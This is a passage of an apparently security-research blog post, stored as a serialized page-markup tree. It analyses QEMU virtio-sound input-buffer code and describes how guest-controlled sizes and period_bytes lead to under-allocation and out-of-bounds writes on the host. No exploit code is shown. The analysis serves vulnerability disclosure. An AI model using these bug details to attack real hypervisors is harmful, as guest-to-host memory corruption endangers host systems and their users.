*/\n",{"type":23,"tag":75,"props":134959,"children":134960},{"class":77,"line":248},[134961,134965],{"type":23,"tag":75,"props":134962,"children":134963},{"style":82},[134964],{"type":29,"value":57665},{"type":23,"tag":75,"props":134966,"children":134967},{"style":94},[134968],{"type":29,"value":134969}," populated;\n",{"type":23,"tag":75,"props":134971,"children":134972},{"class":77,"line":270},[134973,134977,134981,134986],{"type":23,"tag":75,"props":134974,"children":134975},{"style":82},[134976],{"type":29,"value":69640},{"type":23,"tag":75,"props":134978,"children":134979},{"style":94},[134980],{"type":29,"value":10592},{"type":23,"tag":75,"props":134982,"children":134983},{"style":82},[134984],{"type":29,"value":134985},"[]",{"type":23,"tag":75,"props":134987,"children":134988},{"style":94},[134989],{"type":29,"value":245},{"type":23,"tag":75,"props":134991,"children":134992},{"class":77,"line":279},[134993],{"type":23,"tag":75,"props":134994,"children":134995},{"style":94},[134996],{"type":29,"value":27801},{"type":23,"tag":32,"props":134998,"children":134999},{},[135000,135002,135008,135010,135015,135017,135022,135024,135029,135031,135036,135038,135044],{"type":29,"value":135001},"That under-allocation removes the ",{"type":23,"tag":71,"props":135003,"children":135005},{"className":135004},[],[135006],{"type":29,"value":135007},"populated",{"type":29,"value":135009}," field along with the variable-sized ",{"type":23,"tag":71,"props":135011,"children":135013},{"className":135012},[],[135014],{"type":29,"value":14976},{"type":29,"value":135016}," array. As the comment says, ",{"type":23,"tag":71,"props":135018,"children":135020},{"className":135019},[],[135021],{"type":29,"value":135007},{"type":29,"value":135023}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":71,"props":135025,"children":135027},{"className":135026},[],[135028],{"type":29,"value":7867},{"type":29,"value":135030},", the device believes data should be ",{"type":23,"tag":71,"props":135032,"children":135034},{"className":135033},[],[135035],{"type":29,"value":7867},{"type":29,"value":135037}," byte, while the actual allocation is ",{"type":23,"tag":71,"props":135039,"children":135041},{"className":135040},[],[135042],{"type":29,"value":135043},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":557},{"type":23,"tag":30116,"props":135046,"children":135048},{"id":135047},"populating-data-buffers",[135049],{"type":29,"value":135050},"Populating Data Buffers",{"type":23,"tag":32,"props":135052,"children":135053},{},[135054],{"type":29,"value":135055},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":64,"props":135057,"children":135059},{"code":135058,"language":14432,"meta":7,"className":27738,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[135060],{"type":23,"tag":71,"props":135061,"children":135062},{"__ignoreMap":7},[135063,135070,135078,135085,135093,135101,135108,135157,135164,135190,135207,135219,135226,135258,135303,135343,135350,135358,135365,135390,135418,135442,135450,135462,135500,135513,135525,135532,135578,135615,135658,135679,135699,135719,135730,135737,135760,135776,135784,135791,135798,135805],{"type":23,"tag":75,"props":135064,"children":135065},{"class":77,"line":78},[135066],{"type":23,"tag":75,"props":135067,"children":135068},{"style":3621},[135069],{"type":29,"value":60552},{"type":23,"tag":75,"props":135071,"children":135072},{"class":77,"line":100},[135073],{"type":23,"tag":75,"props":135074,"children":135075},{"style":3621},[135076],{"type":29,"value":135077}," * AUD_* input callback.\n",{"type":23,"tag":75,"props":135079,"children":135080},{"class":77,"line":121},[135081],{"type":23,"tag":75,"props":135082,"children":135083},{"style":3621},[135084],{"type":29,"value":30711},{"type":23,"tag":75,"props":135086,"children":135087},{"class":77,"line":138},[135088],{"type":23,"tag":75,"props":135089,"children":135090},{"style":3621},[135091],{"type":29,"value":135092}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":75,"props":135094,"children":135095},{"class":77,"line":161},[135096],{"type":23,"tag":75,"props":135097,"children":135098},{"style":3621},[135099],{"type":29,"value":135100}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":75,"props":135102,"children":135103},{"class":77,"line":196},[135104],{"type":23,"tag":75,"props":135105,"children":135106},{"style":3621},[135107],{"type":29,"value":134163},{"type":23,"tag":75,"props":135109,"children":135110},{"class":77,"line":220},[135111,135115,135119,135124,135128,135132,135136,135140,135144,135148,135153],{"type":23,"tag":75,"props":135112,"children":135113},{"style":82},[135114],{"type":29,"value":62229},{"type":23,"tag":75,"props":135116,"children":135117},{"style":82},[135118],{"type":29,"value":62234},{"type":23,"tag":75,"props":135120,"children":135121},{"style":88},[135122],{"type":29,"value":135123}," virtio_snd_pcm_in_cb",{"type":23,"tag":75,"props":135125,"children":135126},{"style":94},[135127],{"type":29,"value":643},{"type":23,"tag":75,"props":135129,"children":135130},{"style":82},[135131],{"type":29,"value":62812},{"type":23,"tag":75,"props":135133,"children":135134},{"style":209},[135135],{"type":29,"value":579},{"type":23,"tag":75,"props":135137,"children":135138},{"style":110},[135139],{"type":29,"value":14976},{"type":23,"tag":75,"props":135141,"children":135142},{"style":94},[135143],{"type":29,"value":611},{"type":23,"tag":75,"props":135145,"children":135146},{"style":82},[135147],{"type":29,"value":30270},{"type":23,"tag":75,"props":135149,"children":135150},{"style":110},[135151],{"type":29,"value":135152}," available",{"type":23,"tag":75,"props":135154,"children":135155},{"style":94},[135156],{"type":29,"value":653},{"type":23,"tag":75,"props":135158,"children":135159},{"class":77,"line":248},[135160],{"type":23,"tag":75,"props":135161,"children":135162},{"style":94},[135163],{"type":29,"value":2549},{"type":23,"tag":75,"props":135165,"children":135166},{"class":77,"line":270},[135167,135172,135176,135181,135185],{"type":23,"tag":75,"props":135168,"children":135169},{"style":94},[135170],{"type":29,"value":135171},"    VirtIOSoundPCMStream ",{"type":23,"tag":75,"props":135173,"children":135174},{"style":209},[135175],{"type":29,"value":601},{"type":23,"tag":75,"props":135177,"children":135178},{"style":94},[135179],{"type":29,"value":135180},"stream ",{"type":23,"tag":75,"props":135182,"children":135183},{"style":209},[135184],{"type":29,"value":212},{"type":23,"tag":75,"props":135186,"children":135187},{"style":94},[135188],{"type":29,"value":135189}," data;\n",{"type":23,"tag":75,"props":135191,"children":135192},{"class":77,"line":279},[135193,135198,135202],{"type":23,"tag":75,"props":135194,"children":135195},{"style":94},[135196],{"type":29,"value":135197},"    VirtIOSoundPCMBuffer ",{"type":23,"tag":75,"props":135199,"children":135200},{"style":209},[135201],{"type":29,"value":601},{"type":23,"tag":75,"props":135203,"children":135204},{"style":94},[135205],{"type":29,"value":135206},"buffer;\n",{"type":23,"tag":75,"props":135208,"children":135209},{"class":77,"line":303},[135210,135214],{"type":23,"tag":75,"props":135211,"children":135212},{"style":82},[135213],{"type":29,"value":27788},{"type":23,"tag":75,"props":135215,"children":135216},{"style":94},[135217],{"type":29,"value":135218}," size, max_size;\n",{"type":23,"tag":75,"props":135220,"children":135221},{"class":77,"line":322},[135222],{"type":23,"tag":75,"props":135223,"children":135224},{"emptyLinePlaceholder":15},[135225],{"type":29,"value":276},{"type":23,"tag":75,"props":135227,"children":135228},{"class":77,"line":340},[135229,135234,135238,135242,135246,135250,135254],{"type":23,"tag":75,"props":135230,"children":135231},{"style":88},[135232],{"type":29,"value":135233},"    WITH_QEMU_LOCK_GUARD",{"type":23,"tag":75,"props":135235,"children":135236},{"style":94},[135237],{"type":29,"value":643},{"type":23,"tag":75,"props":135239,"children":135240},{"style":209},[135241],{"type":29,"value":1277},{"type":23,"tag":75,"props":135243,"children":135244},{"style":110},[135245],{"type":29,"value":47453},{"type":23,"tag":75,"props":135247,"children":135248},{"style":94},[135249],{"type":29,"value":1156},{"type":23,"tag":75,"props":135251,"children":135252},{"style":110},[135253],{"type":29,"value":134410},{"type":23,"tag":75,"props":135255,"children":135256},{"style":94},[135257],{"type":29,"value":193},{"type":23,"tag":75,"props":135259,"children":135260},{"class":77,"line":349},[135261,135266,135270,135274,135279,135283,135287,135291,135295,135299],{"type":23,"tag":75,"props":135262,"children":135263},{"style":175},[135264],{"type":29,"value":135265},"        while",{"type":23,"tag":75,"props":135267,"children":135268},{"style":94},[135269],{"type":29,"value":183},{"type":23,"tag":75,"props":135271,"children":135272},{"style":209},[135273],{"type":29,"value":13434},{"type":23,"tag":75,"props":135275,"children":135276},{"style":88},[135277],{"type":29,"value":135278},"QSIMPLEQ_EMPTY",{"type":23,"tag":75,"props":135280,"children":135281},{"style":94},[135282],{"type":29,"value":643},{"type":23,"tag":75,"props":135284,"children":135285},{"style":209},[135286],{"type":29,"value":1277},{"type":23,"tag":75,"props":135288,"children":135289},{"style":110},[135290],{"type":29,"value":47453},{"type":23,"tag":75,"props":135292,"children":135293},{"style":94},[135294],{"type":29,"value":1156},{"type":23,"tag":75,"props":135296,"children":135297},{"style":110},[135298],{"type":29,"value":134663},{"type":23,"tag":75,"props":135300,"children":135301},{"style":94},[135302],{"type":29,"value":46388},{"type":23,"tag":75,"props":135304,"children":135305},{"class":77,"line":363},[135306,135310,135314,135319,135323,135327,135331,135335,135339],{"type":23,"tag":75,"props":135307,"children":135308},{"style":94},[135309],{"type":29,"value":134499},{"type":23,"tag":75,"props":135311,"children":135312},{"style":209},[135313],{"type":29,"value":212},{"type":23,"tag":75,"props":135315,"children":135316},{"style":88},[135317],{"type":29,"value":135318}," QSIMPLEQ_FIRST",{"type":23,"tag":75,"props":135320,"children":135321},{"style":94},[135322],{"type":29,"value":643},{"type":23,"tag":75,"props":135324,"children":135325},{"style":209},[135326],{"type":29,"value":1277},{"type":23,"tag":75,"props":135328,"children":135329},{"style":110},[135330],{"type":29,"value":47453},{"type":23,"tag":75,"props":135332,"children":135333},{"style":94},[135334],{"type":29,"value":1156},{"type":23,"tag":75,"props":135336,"children":135337},{"style":110},[135338],{"type":29,"value":134663},{"type":23,"tag":75,"props":135340,"children":135341},{"style":94},[135342],{"type":29,"value":15099},{"type":23,"tag":75,"props":135344,"children":135345},{"class":77,"line":656},[135346],{"type":23,"tag":75,"props":135347,"children":135348},{"emptyLinePlaceholder":15},[135349],{"type":29,"value":276},{"type":23,"tag":75,"props":135351,"children":135352},{"class":77,"line":705},[135353],{"type":23,"tag":75,"props":135354,"children":135355},{"style":94},[135356],{"type":29,"value":135357},"            [...]\n",{"type":23,"tag":75,"props":135359,"children":135360},{"class":77,"line":787},[135361],{"type":23,"tag":75,"props":135362,"children":135363},{"emptyLinePlaceholder":15},[135364],{"type":29,"value":276},{"type":23,"tag":75,"props":135366,"children":135367},{"class":77,"line":826},[135368,135373,135377,135381,135385],{"type":23,"tag":75,"props":135369,"children":135370},{"style":94},[135371],{"type":29,"value":135372},"            max_size ",{"type":23,"tag":75,"props":135374,"children":135375},{"style":209},[135376],{"type":29,"value":212},{"type":23,"tag":75,"props":135378,"children":135379},{"style":88},[135380],{"type":29,"value":134431},{"type":23,"tag":75,"props":135382,"children":135383},{"style":94},[135384],{"type":29,"value":643},{"type":23,"tag":75,"props":135386,"children":135387},{"style":3621},[135388],{"type":29,"value":135389},"                    // [1]\n",{"type":23,"tag":75,"props":135391,"children":135392},{"class":77,"line":834},[135393,135398,135402,135406,135410,135414],{"type":23,"tag":75,"props":135394,"children":135395},{"style":110},[135396],{"type":29,"value":135397},"                buffer",{"type":23,"tag":75,"props":135399,"children":135400},{"style":94},[135401],{"type":29,"value":1156},{"type":23,"tag":75,"props":135403,"children":135404},{"style":110},[135405],{"type":29,"value":63249},{"type":23,"tag":75,"props":135407,"children":135408},{"style":94},[135409],{"type":29,"value":1156},{"type":23,"tag":75,"props":135411,"children":135412},{"style":110},[135413],{"type":29,"value":134448},{"type":23,"tag":75,"props":135415,"children":135416},{"style":94},[135417],{"type":29,"value":118},{"type":23,"tag":75,"props":135419,"children":135420},{"class":77,"line":881},[135421,135425,135429,135433,135437],{"type":23,"tag":75,"props":135422,"children":135423},{"style":110},[135424],{"type":29,"value":135397},{"type":23,"tag":75,"props":135426,"children":135427},{"style":94},[135428],{"type":29,"value":1156},{"type":23,"tag":75,"props":135430,"children":135431},{"style":110},[135432],{"type":29,"value":63249},{"type":23,"tag":75,"props":135434,"children":135435},{"style":94},[135436],{"type":29,"value":1156},{"type":23,"tag":75,"props":135438,"children":135439},{"style":110},[135440],{"type":29,"value":135441},"in_num\n",{"type":23,"tag":75,"props":135443,"children":135444},{"class":77,"line":3355},[135445],{"type":23,"tag":75,"props":135446,"children":135447},{"style":94},[135448],{"type":29,"value":135449},"            );\n",{"type":23,"tag":75,"props":135451,"children":135452},{"class":77,"line":3390},[135453,135458],{"type":23,"tag":75,"props":135454,"children":135455},{"style":175},[135456],{"type":29,"value":135457},"            for",{"type":23,"tag":75,"props":135459,"children":135460},{"style":94},[135461],{"type":29,"value":134261},{"type":23,"tag":75,"props":135463,"children":135464},{"class":77,"line":3423},[135465,135469,135473,135478,135482,135486,135490,135495],{"type":23,"tag":75,"props":135466,"children":135467},{"style":175},[135468],{"type":29,"value":113855},{"type":23,"tag":75,"props":135470,"children":135471},{"style":94},[135472],{"type":29,"value":183},{"type":23,"tag":75,"props":135474,"children":135475},{"style":110},[135476],{"type":29,"value":135477},"buffer",{"type":23,"tag":75,"props":135479,"children":135480},{"style":94},[135481],{"type":29,"value":1156},{"type":23,"tag":75,"props":135483,"children":135484},{"style":110},[135485],{"type":29,"value":134595},{"type":23,"tag":75,"props":135487,"children":135488},{"style":209},[135489],{"type":29,"value":19561},{"type":23,"tag":75,"props":135491,"children":135492},{"style":94},[135493],{"type":29,"value":135494}," max_size) {",{"type":23,"tag":75,"props":135496,"children":135497},{"style":3621},[135498],{"type":29,"value":135499},"     // [2]\n",{"type":23,"tag":75,"props":135501,"children":135502},{"class":77,"line":3436},[135503,135508],{"type":23,"tag":75,"props":135504,"children":135505},{"style":88},[135506],{"type":29,"value":135507},"                    return_rx_buffer",{"type":23,"tag":75,"props":135509,"children":135510},{"style":94},[135511],{"type":29,"value":135512},"(stream, buffer);\n",{"type":23,"tag":75,"props":135514,"children":135515},{"class":77,"line":3449},[135516,135521],{"type":23,"tag":75,"props":135517,"children":135518},{"style":175},[135519],{"type":29,"value":135520},"                    break",{"type":23,"tag":75,"props":135522,"children":135523},{"style":94},[135524],{"type":29,"value":245},{"type":23,"tag":75,"props":135526,"children":135527},{"class":77,"line":3457},[135528],{"type":23,"tag":75,"props":135529,"children":135530},{"style":94},[135531],{"type":29,"value":4964},{"type":23,"tag":75,"props":135533,"children":135534},{"class":77,"line":3465},[135535,135540,135544,135549,135553,135557,135561,135566,135570,135574],{"type":23,"tag":75,"props":135536,"children":135537},{"style":94},[135538],{"type":29,"value":135539},"                size ",{"type":23,"tag":75,"props":135541,"children":135542},{"style":209},[135543],{"type":29,"value":212},{"type":23,"tag":75,"props":135545,"children":135546},{"style":88},[135547],{"type":29,"value":135548}," AUD_read",{"type":23,"tag":75,"props":135550,"children":135551},{"style":94},[135552],{"type":29,"value":643},{"type":23,"tag":75,"props":135554,"children":135555},{"style":110},[135556],{"type":29,"value":47453},{"type":23,"tag":75,"props":135558,"children":135559},{"style":94},[135560],{"type":29,"value":1156},{"type":23,"tag":75,"props":135562,"children":135563},{"style":110},[135564],{"type":29,"value":135565},"voice",{"type":23,"tag":75,"props":135567,"children":135568},{"style":94},[135569],{"type":29,"value":557},{"type":23,"tag":75,"props":135571,"children":135572},{"style":110},[135573],{"type":29,"value":105833},{"type":23,"tag":75,"props":135575,"children":135576},{"style":94},[135577],{"type":29,"value":118},{"type":23,"tag":75,"props":135579,"children":135580},{"class":77,"line":3473},[135581,135586,135590,135594,135598,135603,135607,135611],{"type":23,"tag":75,"props":135582,"children":135583},{"style":110},[135584],{"type":29,"value":135585},"                        buffer",{"type":23,"tag":75,"props":135587,"children":135588},{"style":94},[135589],{"type":29,"value":1156},{"type":23,"tag":75,"props":135591,"children":135592},{"style":110},[135593],{"type":29,"value":14976},{"type":23,"tag":75,"props":135595,"children":135596},{"style":209},[135597],{"type":29,"value":20160},{"type":23,"tag":75,"props":135599,"children":135600},{"style":110},[135601],{"type":29,"value":135602}," buffer",{"type":23,"tag":75,"props":135604,"children":135605},{"style":94},[135606],{"type":29,"value":1156},{"type":23,"tag":75,"props":135608,"children":135609},{"style":110},[135610],{"type":29,"value":134595},{"type":23,"tag":75,"props":135612,"children":135613},{"style":94},[135614],{"type":29,"value":118},{"type":23,"tag":75,"props":135616,"children":135617},{"class":77,"line":3481},[135618,135623,135628,135632,135636,135640,135644,135649,135653],{"type":23,"tag":75,"props":135619,"children":135620},{"style":88},[135621],{"type":29,"value":135622},"                        MIN",{"type":23,"tag":75,"props":135624,"children":135625},{"style":94},[135626],{"type":29,"value":135627},"(available, (",{"type":23,"tag":75,"props":135629,"children":135630},{"style":110},[135631],{"type":29,"value":47453},{"type":23,"tag":75,"props":135633,"children":135634},{"style":94},[135635],{"type":29,"value":1156},{"type":23,"tag":75,"props":135637,"children":135638},{"style":110},[135639],{"type":29,"value":108617},{"type":23,"tag":75,"props":135641,"children":135642},{"style":94},[135643],{"type":29,"value":557},{"type":23,"tag":75,"props":135645,"children":135646},{"style":110},[135647],{"type":29,"value":135648},"period_bytes",{"type":23,"tag":75,"props":135650,"children":135651},{"style":209},[135652],{"type":29,"value":62440},{"type":23,"tag":75,"props":135654,"children":135655},{"style":3621},[135656],{"type":29,"value":135657},"     // [3]\n",{"type":23,"tag":75,"props":135659,"children":135660},{"class":77,"line":3524},[135661,135666,135670,135674],{"type":23,"tag":75,"props":135662,"children":135663},{"style":110},[135664],{"type":29,"value":135665},"                                        buffer",{"type":23,"tag":75,"props":135667,"children":135668},{"style":94},[135669],{"type":29,"value":1156},{"type":23,"tag":75,"props":135671,"children":135672},{"style":110},[135673],{"type":29,"value":134595},{"type":23,"tag":75,"props":135675,"children":135676},{"style":94},[135677],{"type":29,"value":135678},")));\n",{"type":23,"tag":75,"props":135680,"children":135681},{"class":77,"line":4890},[135682,135686,135690,135694],{"type":23,"tag":75,"props":135683,"children":135684},{"style":175},[135685],{"type":29,"value":113855},{"type":23,"tag":75,"props":135687,"children":135688},{"style":94},[135689],{"type":29,"value":183},{"type":23,"tag":75,"props":135691,"children":135692},{"style":209},[135693],{"type":29,"value":13434},{"type":23,"tag":75,"props":135695,"children":135696},{"style":94},[135697],{"type":29,"value":135698},"size) {\n",{"type":23,"tag":75,"props":135700,"children":135701},{"class":77,"line":4937},[135702,135707,135711,135715],{"type":23,"tag":75,"props":135703,"children":135704},{"style":94},[135705],{"type":29,"value":135706},"                    available ",{"type":23,"tag":75,"props":135708,"children":135709},{"style":209},[135710],{"type":29,"value":212},{"type":23,"tag":75,"props":135712,"children":135713},{"style":237},[135714],{"type":29,"value":240},{"type":23,"tag":75,"props":135716,"children":135717},{"style":94},[135718],{"type":29,"value":245},{"type":23,"tag":75,"props":135720,"children":135721},{"class":77,"line":4950},[135722,135726],{"type":23,"tag":75,"props":135723,"children":135724},{"style":175},[135725],{"type":29,"value":135520},{"type":23,"tag":75,"props":135727,"children":135728},{"style":94},[135729],{"type":29,"value":245},{"type":23,"tag":75,"props":135731,"children":135732},{"class":77,"line":4958},[135733],{"type":23,"tag":75,"props":135734,"children":135735},{"style":94},[135736],{"type":29,"value":4964},{"type":23,"tag":75,"props":135738,"children":135739},{"class":77,"line":4967},[135740,135744,135748,135752,135756],{"type":23,"tag":75,"props":135741,"children":135742},{"style":110},[135743],{"type":29,"value":135397},{"type":23,"tag":75,"props":135745,"children":135746},{"style":94},[135747],{"type":29,"value":1156},{"type":23,"tag":75,"props":135749,"children":135750},{"style":110},[135751],{"type":29,"value":134595},{"type":23,"tag":75,"props":135753,"children":135754},{"style":209},[135755],{"type":29,"value":767},{"type":23,"tag":75,"props":135757,"children":135758},{"style":94},[135759],{"type":29,"value":134937},{"type":23,"tag":75,"props":135761,"children":135762},{"class":77,"line":4975},[135763,135768,135772],{"type":23,"tag":75,"props":135764,"children":135765},{"style":94},[135766],{"type":29,"value":135767},"                available ",{"type":23,"tag":75,"props":135769,"children":135770},{"style":209},[135771],{"type":29,"value":114320},{"type":23,"tag":75,"props":135773,"children":135774},{"style":94},[135775],{"type":29,"value":134937},{"type":23,"tag":75,"props":135777,"children":135778},{"class":77,"line":5016},[135779],{"type":23,"tag":75,"props":135780,"children":135781},{"style":94},[135782],{"type":29,"value":135783},"                [...]\n",{"type":23,"tag":75,"props":135785,"children":135786},{"class":77,"line":5025},[135787],{"type":23,"tag":75,"props":135788,"children":135789},{"style":94},[135790],{"type":29,"value":5022},{"type":23,"tag":75,"props":135792,"children":135793},{"class":77,"line":5033},[135794],{"type":23,"tag":75,"props":135795,"children":135796},{"style":94},[135797],{"type":29,"value":2503},{"type":23,"tag":75,"props":135799,"children":135800},{"class":77,"line":5041},[135801],{"type":23,"tag":75,"props":135802,"children":135803},{"style":94},[135804],{"type":29,"value":346},{"type":23,"tag":75,"props":135806,"children":135807},{"class":77,"line":5050},[135808],{"type":23,"tag":75,"props":135809,"children":135810},{"style":94},[135811],{"type":29,"value":369},{"type":23,"tag":32,"props":135813,"children":135814},{},[135815,135816,135821,135822,135828,135830,135836,135838,135843,135844,135849,135851,135856],{"type":29,"value":134717},{"type":23,"tag":71,"props":135817,"children":135819},{"className":135818},[],[135820],{"type":29,"value":134723},{"type":29,"value":611},{"type":23,"tag":71,"props":135823,"children":135825},{"className":135824},[],[135826],{"type":29,"value":135827},"max_size",{"type":29,"value":135829}," is set to ",{"type":23,"tag":71,"props":135831,"children":135833},{"className":135832},[],[135834],{"type":29,"value":135835},"iov_size(in_sg, in_num)",{"type":29,"value":135837},". Both ",{"type":23,"tag":71,"props":135839,"children":135841},{"className":135840},[],[135842],{"type":29,"value":134448},{"type":29,"value":2721},{"type":23,"tag":71,"props":135845,"children":135847},{"className":135846},[],[135848],{"type":29,"value":134465},{"type":29,"value":135850}," are the same guest-controlled fields from ",{"type":23,"tag":71,"props":135852,"children":135854},{"className":135853},[],[135855],{"type":29,"value":134100},{"type":29,"value":557},{"type":23,"tag":32,"props":135858,"children":135859},{},[135860,135862,135867,135869,135875,135877,135883,135885,135891],{"type":29,"value":135861},"Later, at ",{"type":23,"tag":71,"props":135863,"children":135865},{"className":135864},[],[135866],{"type":29,"value":134758},{"type":29,"value":135868},", the code checks whether ",{"type":23,"tag":71,"props":135870,"children":135872},{"className":135871},[],[135873],{"type":29,"value":135874},"buffer->size >= max_size",{"type":29,"value":135876},". In the RX path, ",{"type":23,"tag":71,"props":135878,"children":135880},{"className":135879},[],[135881],{"type":29,"value":135882},"buffer->size",{"type":29,"value":135884}," tracks how many bytes have been written into ",{"type":23,"tag":71,"props":135886,"children":135888},{"className":135887},[],[135889],{"type":29,"value":135890},"buffer->data",{"type":29,"value":135892},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":32,"props":135894,"children":135895},{},[135896,135898,135903,135905,135911,135913,135918,135920,135926],{"type":29,"value":135897},"However, this does not match the allocation logic in ",{"type":23,"tag":71,"props":135899,"children":135901},{"className":135900},[],[135902],{"type":29,"value":134100},{"type":29,"value":135904},", which used: ",{"type":23,"tag":71,"props":135906,"children":135908},{"className":135907},[],[135909],{"type":29,"value":135910},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":135912},". In other words, the allocation subtracts ",{"type":23,"tag":71,"props":135914,"children":135916},{"className":135915},[],[135917],{"type":29,"value":134824},{"type":29,"value":135919},", but the later bound in ",{"type":23,"tag":71,"props":135921,"children":135923},{"className":135922},[],[135924],{"type":29,"value":135925},"virtio_snd_pcm_in_cb",{"type":29,"value":135927}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":32,"props":135929,"children":135930},{},[135931,135933,135938,135940,135946,135948,135954,135956,135961,135963,135969,135971,135977,135979,135984,135986,135991],{"type":29,"value":135932},"Finally, at ",{"type":23,"tag":71,"props":135934,"children":135936},{"className":135935},[],[135937],{"type":29,"value":134782},{"type":29,"value":135939},", the code calls ",{"type":23,"tag":71,"props":135941,"children":135943},{"className":135942},[],[135944],{"type":29,"value":135945},"AUD_read",{"type":29,"value":135947}," with the following limit:\n",{"type":23,"tag":71,"props":135949,"children":135951},{"className":135950},[],[135952],{"type":29,"value":135953},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":135955},". Notice how this bound does not take ",{"type":23,"tag":71,"props":135957,"children":135959},{"className":135958},[],[135960],{"type":29,"value":135827},{"type":29,"value":135962}," into account at all. That means if ",{"type":23,"tag":71,"props":135964,"children":135966},{"className":135965},[],[135967],{"type":29,"value":135968},"available",{"type":29,"value":135970}," is larger than the allocated buffer, and ",{"type":23,"tag":71,"props":135972,"children":135974},{"className":135973},[],[135975],{"type":29,"value":135976},"stream->params.period_bytes",{"type":29,"value":135978}," is also larger than the allocated buffer, ",{"type":23,"tag":71,"props":135980,"children":135982},{"className":135981},[],[135983],{"type":29,"value":135945},{"type":29,"value":135985}," will write past the end of ",{"type":23,"tag":71,"props":135987,"children":135989},{"className":135988},[],[135990],{"type":29,"value":135890},{"type":29,"value":135992}," - the third, and final, bug we found.",{"type":23,"tag":32,"props":135994,"children":135995},{},[135996,135998,136003,136005,136011],{"type":29,"value":135997},"Looking further at the code, we can see that ",{"type":23,"tag":71,"props":135999,"children":136001},{"className":136000},[],[136002],{"type":29,"value":135976},{"type":29,"value":136004}," is fully guest-controlled by issuing a ",{"type":23,"tag":71,"props":136006,"children":136008},{"className":136007},[],[136009],{"type":29,"value":136010},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":136012}," request:",{"type":23,"tag":64,"props":136014,"children":136016},{"code":136015,"language":14432,"meta":7,"className":27738,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[136017],{"type":23,"tag":71,"props":136018,"children":136019},{"__ignoreMap":7},[136020,136028,136057,136074,136094,136101,136118,136125,136132,136139,136161,136168,136175,136182,136228,136271,136315,136323,136360,136396,136432,136439,136456],{"type":23,"tag":75,"props":136021,"children":136022},{"class":77,"line":78},[136023],{"type":23,"tag":75,"props":136024,"children":136025},{"style":82},[136026],{"type":29,"value":136027},"static\n",{"type":23,"tag":75,"props":136029,"children":136030},{"class":77,"line":100},[136031,136035,136040,136045,136049,136053],{"type":23,"tag":75,"props":136032,"children":136033},{"style":82},[136034],{"type":29,"value":69117},{"type":23,"tag":75,"props":136036,"children":136037},{"style":88},[136038],{"type":29,"value":136039}," virtio_snd_set_pcm_params",{"type":23,"tag":75,"props":136041,"children":136042},{"style":94},[136043],{"type":29,"value":136044},"(VirtIOSound ",{"type":23,"tag":75,"props":136046,"children":136047},{"style":209},[136048],{"type":29,"value":601},{"type":23,"tag":75,"props":136050,"children":136051},{"style":110},[136052],{"type":29,"value":21899},{"type":23,"tag":75,"props":136054,"children":136055},{"style":94},[136056],{"type":29,"value":118},{"type":23,"tag":75,"props":136058,"children":136059},{"class":77,"line":121},[136060,136065,136070],{"type":23,"tag":75,"props":136061,"children":136062},{"style":82},[136063],{"type":29,"value":136064},"                                   uint32_t",{"type":23,"tag":75,"props":136066,"children":136067},{"style":110},[136068],{"type":29,"value":136069}," stream_id",{"type":23,"tag":75,"props":136071,"children":136072},{"style":94},[136073],{"type":29,"value":118},{"type":23,"tag":75,"props":136075,"children":136076},{"class":77,"line":138},[136077,136082,136086,136090],{"type":23,"tag":75,"props":136078,"children":136079},{"style":94},[136080],{"type":29,"value":136081},"                                   virtio_snd_pcm_set_params ",{"type":23,"tag":75,"props":136083,"children":136084},{"style":209},[136085],{"type":29,"value":601},{"type":23,"tag":75,"props":136087,"children":136088},{"style":110},[136089],{"type":29,"value":108617},{"type":23,"tag":75,"props":136091,"children":136092},{"style":94},[136093],{"type":29,"value":653},{"type":23,"tag":75,"props":136095,"children":136096},{"class":77,"line":161},[136097],{"type":23,"tag":75,"props":136098,"children":136099},{"style":94},[136100],{"type":29,"value":2549},{"type":23,"tag":75,"props":136102,"children":136103},{"class":77,"line":196},[136104,136109,136113],{"type":23,"tag":75,"props":136105,"children":136106},{"style":94},[136107],{"type":29,"value":136108},"    virtio_snd_pcm_set_params 